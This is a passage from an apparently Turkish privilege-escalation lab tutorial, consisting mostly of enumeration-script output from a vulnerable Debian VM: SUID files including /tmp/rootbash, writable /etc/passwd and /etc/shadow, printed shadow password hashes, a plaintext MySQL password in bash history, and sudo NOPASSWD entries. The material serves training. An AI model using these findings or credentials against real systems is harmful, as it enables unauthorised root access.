-rwxr-xr-x 1 root root 6479 May 15 2017 exim4
-rwxr-xr-x 1 root root 1329 Mar 24 2012 halt
-rwxr-xr-x 1 root root 1423 Mar 24 2012 hostname.sh
-rwxr-xr-x 1 root root 5079 Jan 25 2011 hwclockfirst.sh
-rwxr-xr-x 1 root root 5061 Jan 25 2011 hwclock.sh
-rwxr-xr-x 1 root root 2518 Sep 15 2006 ifupdown
-rwxr-xr-x 1 root root 1047 Sep 6 2009 ifupdown-clean
-rwxr-xr-x 1 root root 7743 Oct 13 2010 kbd
-rwxr-xr-x 1 root root 1486 Jun 26 2010 keyboard-setup
-rwxr-xr-x 1 root root 1293 Mar 24 2012 killprocs
-rwxr-xr-x 1 root root 1334 Oct 30 2011 module-init-tools
-rwxr-xr-x 1 root root 620 Mar 24 2012 mountall-bootclean.sh
-rwxr-xr-x 1 root root 1668 Mar 24 2012 mountall.sh
-rwxr-xr-x 1 root root 1560 Mar 24 2012 mountdevsubfs.sh
-rwxr-xr-x 1 root root 1924 Mar 24 2012 mountkernfs.sh
-rwxr-xr-x 1 root root 628 Mar 24 2012 mountnfs-bootclean.sh
-rwxr-xr-x 1 root root 2330 Mar 24 2012 mountnfs.sh
-rwxr-xr-x 1 root root 1315 Mar 24 2012 mountoverflowtmp
-rwxr-xr-x 1 root root 3649 Mar 24 2012 mtab.sh
-rwxr-xr-x 1 root root 5437 Oct 21 2014 mysql
-rwxr-xr-x 1 root root 2451 Apr 18 2010 networking
-rwxr-xr-x 1 root root 6013 Dec 13 2014 nfs-common
-rwxr-xr-x 1 root root 4526 Dec 13 2014 nfs-kernel-server
-rwxr-xr-x 1 root root 4766 Jun 7 2016 nginx
-rwxr-xr-x 1 root root 2192 Feb 24 2010 portmap
-rwxr-xr-x 1 root root 1298 Jan 31 2010 procps
-rwxr-xr-x 1 root root 8635 Mar 24 2012 rc
-rwxr-xrwx 1 root root 801 May 14 2017 rc.local
-rwxr-xr-x 1 root root 117 Mar 24 2012 rcS
-rw-r–r– 1 root root 2427 Mar 24 2012 README
-rwxr-xr-x 1 root root 639 Mar 24 2012 reboot
-rwxr-xr-x 1 root root 1074 Mar 24 2012 rmnologin
-rwxr-xr-x 1 root root 3080 Nov 30 2010 rsyslog
-rwxr-xr-x 1 root root 3286 Mar 24 2012 sendsigs
-rwxr-xr-x 1 root root 590 Mar 24 2012 single
-rw-r–r– 1 root root 4304 Mar 24 2012 skeleton
-rwxr-xr-x 1 root root 3704 Apr 2 2014 ssh
-rwxr-xr-x 1 root root 567 Mar 24 2012 stop-bootlogd
-rwxr-xr-x 1 root root 1143 Mar 24 2012 stop-bootlogd-single
-rwxr-xr-x 1 root root 551 Jan 5 2016 sudo
-rwxr-xr-x 1 root root 7578 Dec 12 2010 udev
-rwxr-xr-x 1 root root 1153 Dec 12 2010 udev-mtab
-rwxr-xr-x 1 root root 2869 Mar 24 2012 umountfs
-rwxr-xr-x 1 root root 2143 Mar 24 2012 umountnfs.sh
-rwxr-xr-x 1 root root 1456 Mar 24 2012 umountroot
-rwxr-xr-x 1 root root 1985 Mar 24 2012 urandom
[-] /lib/systemd/* config file permissions:
/lib/systemd/:
total 4.0K
drwxr-xr-x 2 root root 4.0K May 14 2017 system
/lib/systemd/system:
total 4.0K
-rw-r–r– 1 root root 986 Jun 7 2016 nginx.service
SOFTWARE
[-] Sudo version:
Sudo version 1.7.4p4
[-] MYSQL version:
mysql Ver 14.14 Distrib 5.1.73, for debian-linux-gnu (x86_64) using readline 6.1
[+] We can connect to the local MYSQL service as ‘root’ and without a password!
mysqladmin Ver 8.42 Distrib 5.1.73, for debian-linux-gnu on x86_64
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Server version 5.1.73-1+deb6u1
Protocol version 10
Connection Localhost via UNIX socket
UNIX socket /var/run/mysqld/mysqld.sock
Uptime: 1 hour 27 min 3 sec
Threads: 1 Questions: 103 Slow queries: 0 Opens: 99 Flush tables: 1 Open tables: 23 Queries per second avg: 0.19
[-] Apache user configuration:
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
INTERESTING FILES
[-] Useful file locations:
/bin/nc
/bin/netcat
/usr/bin/wget
/usr/bin/nmap
/usr/bin/gcc
[-] Installed compilers:
ii g++ 4:4.4.5-1 The GNU C++ compiler
ii g++-4.4 4.4.5-8 The GNU C++ compiler
ii gcc 4:4.4.5-1 The GNU C compiler
ii gcc-4.4 4.4.5-8 The GNU C compiler
[-] Can we read/write sensitive files:
-rw-r–rw- 1 root root 1009 Aug 25 2019 /etc/passwd
-rw-r–r– 1 root root 572 Aug 25 2019 /etc/group
-rw-r–r– 1 root root 823 Aug 6 2010 /etc/profile
-rw-r–rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
[-] SUID files:
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwsr-sr-x 1 root root 926536 Aug 5 04:45 /tmp/rootbash
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
[+] Possibly interesting SUID files:
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
[-] SGID files:
-rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage
-rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-sr-x 1 root root 926536 Aug 5 04:45 /tmp/rootbash
-rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd
[+] Possibly interesting SGID files:
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
[-] NFS config details:
-rw-r–rw- 1 root root 492 May 14 2017 /etc/exports
/etc/exports: the access control list for filesystems which may be exported
to NFS clients. See exports(5).
#
Example for NFSv2 and NFSv3:
/srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
Example for NFSv4:
/srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
/srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_subtree_check)
[-] Can’t search *.conf files as no keyword was entered
[-] Can’t search *.php files as no keyword was entered
[-] Can’t search *.log files as no keyword was entered
[-] Can’t search *.ini files as no keyword was entered
[-] All *.conf files in /etc (recursive 1 level):
-rw-r–r– 1 root root 88 Aug 5 05:50 /etc/resolv.conf
-rw-r–r– 1 root root 1260 May 30 2008 /etc/ucf.conf
-rw-r–r– 1 root root 9 Aug 7 2006 /etc/host.conf
-rw-r–r– 1 root root 2940 Jun 6 2012 /etc/gai.conf
-rw-r–r– 1 root root 2969 Jan 30 2011 /etc/debconf.conf
-rw-r–r– 1 root root 599 Feb 19 2009 /etc/logrotate.conf
-rw-r–r– 1 root root 475 Aug 28 2006 /etc/nsswitch.conf
-rw-r–r– 1 root root 899 Aug 31 2009 /etc/gssapi_mech.conf
-rw-r–r– 1 root root 882 May 7 2010 /etc/insserv.conf
-rw-r–r– 1 root root 2981 May 12 2017 /etc/adduser.conf
-rw-r–r– 1 root root 2572 Nov 30 2010 /etc/rsyslog.conf
-rw-r–r– 1 root root 34 May 12 2017 /etc/ld.so.conf
-rw-r–r– 1 root root 36870 May 15 2017 /etc/exim.conf
-rw-r–r– 1 root root 145 Aug 25 2010 /etc/idmapd.conf
-rw-r–r– 1 root root 600 Nov 21 2010 /etc/deluser.conf
-rw-r–r– 1 root root 2082 Feb 24 2010 /etc/sysctl.conf
-rw-r–r– 1 root root 801 Jun 19 2011 /etc/mke2fs.conf
-rw-r–r– 1 root root 144 May 12 2017 /etc/kernel-img.conf
-rw-r–r– 1 root root 552 Oct 17 2011 /etc/pam.conf
-rw-r–r– 1 root root 15752 Jul 25 2009 /etc/ltrace.conf
[-] Current user’s history files:
-rw——- 1 user user 186 Aug 5 04:46 /home/user/.bash_history
-rw——- 1 user user 11 May 15 2020 /home/user/.nano_history
[-] Location and contents (if accessible) of .bash_history file(s):
/home/user/.bash_history
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
ls
whoami
id
exit
whoami
id
exit
whoami
id
exit
[-] Location and Permissions (if accessible) of .bak file(s):
-rw——- 1 root root 1009 Aug 25 2019 /var/backups/passwd.bak
-rw——- 1 root shadow 478 Aug 25 2019 /var/backups/gshadow.bak
-rw——- 1 root shadow 837 Aug 25 2019 /var/backups/shadow.bak
-rw——- 1 root root 572 Aug 25 2019 /var/backups/group.bak
[-] Any interesting mail in /var/mail:
total 8
drwxrwsr-x 2 root mail 4096 May 12 2017 .
drwxr-xr-x 14 root root 4096 May 13 2017 ..
lse.sh çıktısı da aşağıdaki gibidir
LSE Version: 2.1
User: user
User ID: 1000
Password: none
Home: /home/user
Path: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
umask: 0022
Hostname: debian
Linux: 2.6.32-5-amd64
Architecture: x86_64
==================================================================( users )=====
[i] usr000 Current user groups……………………………………… yes!
[] usr010 Is current user in an administrative group?………………… nope [] usr020 Are there other users in an administrative groups?………….. nope
[] usr030 Other users with shell…………………………………… yes! [i] usr040 Environment information………………………………….. skip [i] usr050 Groups for other users…………………………………… skip [i] usr060 Other users…………………………………………….. skip [] usr070 PATH variables defined inside /etc………………………… yes!
[!] usr080 Is ‘.’ in a PATH variable defined inside /etc?……………… nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?…………………………… nope
[!] sud010 Can we list sudo commands without a password?………………. yes!
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
[] sud040 Can we read /etc/sudoers?………………………………… nope [] sud050 Do we know if any other users used sudo?…………………… nope
============================================================( file system )=====
[] fst000 Writable files outside user’s home………………………… yes! [] fst010 Binaries with setuid bit…………………………………. yes!
[!] fst020 Uncommon setuid binaries…………………………………. yes!
/usr/sbin/exim-4.84-3
/tmp/rootbash
[!] fst030 Can we write to any setuid binary?………………………… nope
[] fst040 Binaries with setgid bit…………………………………. skip [!] fst050 Uncommon setgid binaries…………………………………. skip [!] fst060 Can we write to any setgid binary?………………………… skip [] fst070 Can we read /root?………………………………………. nope
[] fst080 Can we read subdirectories under /home?……………………. nope [] fst090 SSH files in home directories…………………………….. nope
[] fst100 Useful binaries…………………………………………. yes! [] fst110 Other interesting files in home directories………………… nope
[!] fst120 Are there any credentials in fstab/mtab?…………………… nope
[] fst130 Does ‘user’ have mail?…………………………………… nope [!] fst140 Can we access other users mail?…………………………… nope [] fst150 Looking for GIT/SVN repositories………………………….. nope
[!] fst160 Can we write to critical files?…………………………… yes!
-rw-r–rw- 1 root root 1009 Aug 25 2019 /etc/passwd
-rw-r–rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
[!] fst170 Can we write to critical directories?……………………… nope
[!] fst180 Can we write to directories from PATH defined in /etc?………. yes!
drwxr-xr-x 7 user user 4096 Aug 5 05:55 /home/user
[!] fst190 Can we read any backup?………………………………….. yes!
-rw-r–r– 1 root root 99542 Aug 5 06:04 /tmp/backup.tar.gz
[i] fst500 Files owned by user ‘user’……………………………….. skip
[i] fst510 SSH files anywhere………………………………………. skip
[i] fst520 Check hosts.equiv file and its contents……………………. skip
[i] fst530 List NFS server shares…………………………………… skip
[i] fst540 Dump fstab file…………………………………………. skip
=================================================================( system )=====
[i] sys000 Who is logged in………………………………………… skip
[i] sys010 Last logged in users…………………………………….. skip
[!] sys020 Does the /etc/passwd have hashes?…………………………. nope
[!] sys022 Does the /etc/group have hashes?………………………….. nope
[!] sys030 Can we read /etc/shadow file?…………………………….. yes!
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon::17298:0:99999:7::: bin::17298:0:99999:7:::
sys::17298:0:99999:7::: sync::17298:0:99999:7:::
games::17298:0:99999:7::: man::17298:0:99999:7:::
lp::17298:0:99999:7::: mail::17298:0:99999:7:::
news::17298:0:99999:7::: uucp::17298:0:99999:7:::
proxy::17298:0:99999:7::: www-data::17298:0:99999:7:::
backup::17298:0:99999:7::: list::17298:0:99999:7:::
irc::17298:0:99999:7::: gnats::17298:0:99999:7:::
nobody::17298:0:99999:7::: libuuid:!:17298:0:99999:7::: Debian-exim:!:17298:0:99999:7::: sshd::17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
[!] sys030 Can we read /etc/shadow- file?……………………………. nope
[!] sys030 Can we read /etc/shadow~ file?……………………………. nope
[!] sys030 Can we read /etc/gshadow file?……………………………. nope
[!] sys030 Can we read /etc/gshadow- file?…………………………… nope
[!] sys030 Can we read /etc/master.passwd file?………………………. nope
[] sys040 Check for other superuser accounts………………………… nope [] sys050 Can root user log in via SSH?…………………………….. yes!
[i] sys060 List available shells……………………………………. skip
[i] sys070 System umask in /etc/login.defs…………………………… skip
[i] sys080 System password policies in /etc/login.defs………………… skip
===============================================================( security )=====
[] sec000 Is SELinux present?……………………………………… nope [] sec010 List files with capabilities……………………………… nope
[!] sec020 Can we write to a binary with caps?……………………….. nope
[!] sec030 Do we have all caps in any binary?………………………… nope
[] sec040 Users with associated capabilities………………………… nope [!] sec050 Does current user have capabilities?………………………. skip ========================================================( recurrent tasks )===== [] ret000 User crontab……………………………………………. nope
[!] ret010 Cron tasks writable by user………………………………. nope
[] ret020 Cron jobs………………………………………………. yes! [] ret030 Can we read user crontabs………………………………… nope
[] ret040 Can we list other user cron tasks?………………………… nope [] ret050 Can we write to any paths present in cron jobs……………… yes!
[!] ret060 Can we write to executable paths present in cron jobs……….. yes!
/etc/crontab:PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
[i] ret400 Cron files……………………………………………… skip
[] ret500 User systemd timers……………………………………… nope [!] ret510 Can we write in any system timer?…………………………. nope [i] ret900 Systemd timers………………………………………….. skip ================================================================( network )===== [] net000 Services listening only on localhost………………………. yes!
[!] net010 Can we sniff traffic with tcpdump?………………………… nope
[i] net500 NIC and IP information…………………………………… skip
[i] net510 Routing table…………………………………………… skip
[i] net520 ARP table………………………………………………. skip
[i] net530 Namerservers……………………………………………. skip
[i] net540 Systemd Nameservers……………………………………… skip
[i] net550 Listening TCP…………………………………………… skip
[i] net560 Listening UDP…………………………………………… skip
===============================================================( services )=====
[!] srv000 Can we write in service files?……………………………. yes!
/etc/init.d/rc.local
[!] srv010 Can we write in binaries executed by services?……………… nope
[] srv020 Files in /etc/init.d/ not belonging to root………………… nope [] srv030 Files in /etc/rc.d/init.d not belonging to root…………….. nope
[] srv040 Upstart files not belonging to root……………………….. nope [] srv050 Files in /usr/local/etc/rc.d not belonging to root………….. nope
[i] srv400 Contents of /etc/inetd.conf………………………………. skip
[i] srv410 Contents of /etc/xinetd.conf……………………………… skip
[i] srv420 List /etc/xinetd.d if used……………………………….. skip
[i] srv430 List /etc/init.d/ permissions…………………………….. skip
[i] srv440 List /etc/rc.d/init.d permissions…………………………. skip
[i] srv450 List /usr/local/etc/rc.d permissions………………………. skip
[i] srv460 List /etc/init/ permissions………………………………. skip
[!] srv500 Can we write in systemd service files?…………………….. nope
[!] srv510 Can we write in binaries executed by systemd services?………. nope
[*] srv520 Systemd files not belonging to root……………………….. nope
[i] srv900 Systemd config files permissions………………………….. skip
===============================================================( software )=====
[!] sof000 Can we connect to MySQL with root/root credentials?…………. nope
[!] sof010 Can we connect to MySQL as root without password?…………… yes!
mysqladmin Ver 8.42 Distrib 5.1.73, for debian-linux-gnu on x86_64
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Server version 5.1.73-1+deb6u1
Protocol version 10
Connection Localhost via UNIX socket
UNIX socket /var/run/mysqld/mysqld.sock
Uptime: 1 hour 30 min 13 sec
Threads: 1 Questions: 105 Slow queries: 0 Opens: 99 Flush tables: 1 Open tables: 23 Queries per second avg: 0.19
[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?….. nope
[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?….. nope
[] sof030 Installed apache modules…………………………………. yes! [!] sof040 Found any .htpasswd files?……………………………….. nope [i] sof500 Sudo version……………………………………………. skip [i] sof510 MySQL version…………………………………………… skip [i] sof520 Postgres version………………………………………… skip [i] sof530 Apache version………………………………………….. skip =============================================================( containers )===== [] ctn000 Are we in a docker container?…………………………….. nope
[] ctn010 Is docker available?…………………………………….. nope [!] ctn020 Is the user a member of the ‘docker’ group?………………… nope [] ctn200 Are we in a lxc container?……………………………….. nope
[!] ctn210 Is the user a member of any lxc/lxd group?…………………. nope
==============================================================( processes )=====
[i] pro000 Waiting for the process monitor to finish………………….. yes!
[i] pro001 Retrieving process binaries………………………………. yes!
[i] pro002 Retrieving process users…………………………………. yes!
[!] pro010 Can we write in any process binary?……………………….. nope
[] pro020 Processes running with root permissions……………………. yes! [] pro030 Processes running by non-root users with shell……………… yes!
[i] pro500 Running processes……………………………………….. skip
[i] pro510 Running process binaries and permissions…………………… skip
==================================( FINISHED )==================================
user@debian:~/tools/privesc-scripts$
incelemenizde ve notlarınızı almanızda en önemlisi pratik yapmanızda oldukça yarar vardır.